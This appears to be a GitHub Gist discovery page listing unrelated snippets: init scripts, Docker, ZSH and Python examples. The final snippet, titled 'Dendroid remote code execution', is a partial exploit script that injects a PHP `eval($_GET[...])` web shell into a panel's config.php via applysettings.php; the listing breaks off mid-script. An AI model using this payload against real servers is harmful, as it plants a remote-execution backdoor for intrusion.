Skip to content

Instantly share code, notes, and snippets.

@GabLeRoux
GabLeRoux / couchdb
Last active March 16, 2016 20:36
Couchdb 1.6.1 Ubuntu 14.04 init script that goes in /etc/init.d Generated using https://github.com/pixelpark/ppnet/wiki/Install-CouchDB-1.6.1-on-Ubuntu-14.04
#!/bin/sh -e
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License. You may obtain a copy of
# the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
@zwacky
zwacky / spread-example.js
Last active January 20, 2016 15:13
ES6 spread to the rescue
// get all items of all players
/* WITHOUT ES6 spread operator */
const items = [];
players.forEach((player) => {
player.forEach((item) => {
items.push(item);
});
});
@renshuki
renshuki / ubuntu_agnoster_install.md
Last active December 30, 2024 16:16
Ubuntu 16.04 + Terminator + Oh My ZSH with Agnoster Theme

Install Terminator (shell)

sudo add-apt-repository ppa:gnome-terminator
sudo apt-get update
sudo apt-get install terminator

Terminator should be setup as default now. Restart your terminal (shortcut: "Ctrl+Alt+T").

Install ZSH

@davideicardi
davideicardi / mongo-docker.bash
Last active July 16, 2023 18:18
Running mongodb inside a docker container (with mongodb authentication)
# Create a container from the mongo image,
# run is as a daemon (-d), expose the port 27017 (-p),
# set it to auto start (--restart)
# and with mongo authentication (--auth)
# Image used is https://hub.docker.com/_/mongo/
docker pull mongo
docker run --name YOURCONTAINERNAME --restart=always -d -p 27017:27017 mongo mongod --auth
# Using the mongo "localhost exception" (https://docs.mongodb.org/v3.0/core/security-users/#localhost-exception)
# add a root user
@staltz
staltz / migration-guide.md
Last active December 19, 2023 22:14
How to show migration guides in GitHub Markdown

How to show migration guides in GitHub Markdown

Use the diff code highlighting tag.

  ```diff
  - foo
  + bar

Example:

@alastairmccormack
alastairmccormack / x509_sha1_fingerprint.py
Created November 13, 2015 03:40
Gets a SHA1 fingerprint from an x509 certificate using Python and OpenSSL crypto module
from OpenSSL.crypto import load_certificate, FILETYPE_PEM
cert_file_string = open("esx.crt", "rb").read()
cert = load_certificate(FILETYPE_PEM, cert_file_string)
sha1_fingerprint = cert.digest("sha1")
print sha1_fingerprint
@foxoman
foxoman / hostcmd.sh
Last active December 3, 2020 08:11
Add system hosts file to Network Manager DNSmasq Config:
sudo sh -c "echo 'addn-hosts=/etc/hosts' > /etc/NetworkManager/dnsmasq.d/etc-hosts"
@moklick
moklick / twitter-stars.js
Last active November 4, 2015 13:52
Changes Twitter Hearts To Stars Again
/*
* Get the good old favorite ★ back.
*
* Copy the few lines below into the console of your browser and press enter.
* Chrome: https://developer.chrome.com/devtools#access
* Firefox: https://developer.mozilla.org/en-US/docs/Tools/Web_Console/Opening_the_Web_Console
*/
// updated version (this also works for new pulled tweets):
var style = document.createElement('style');
@plentz
plentz / ladder.md
Created October 28, 2015 15:50 — forked from jamtur01/ladder.md
Kickstarter Engineering Ladder
@Xyl2k
Xyl2k / kek.py
Last active December 12, 2024 04:52
Dendroid remote code execution
import requests
# Add URL
# Set a PHP payload
# Go to http://website/config.php
URL = 'http://localhost/Panel/applysettings.php'
PAYLOAD = "(isset($_GET['tapz'])) ? eval($_GET['tapz']) : '"
data = {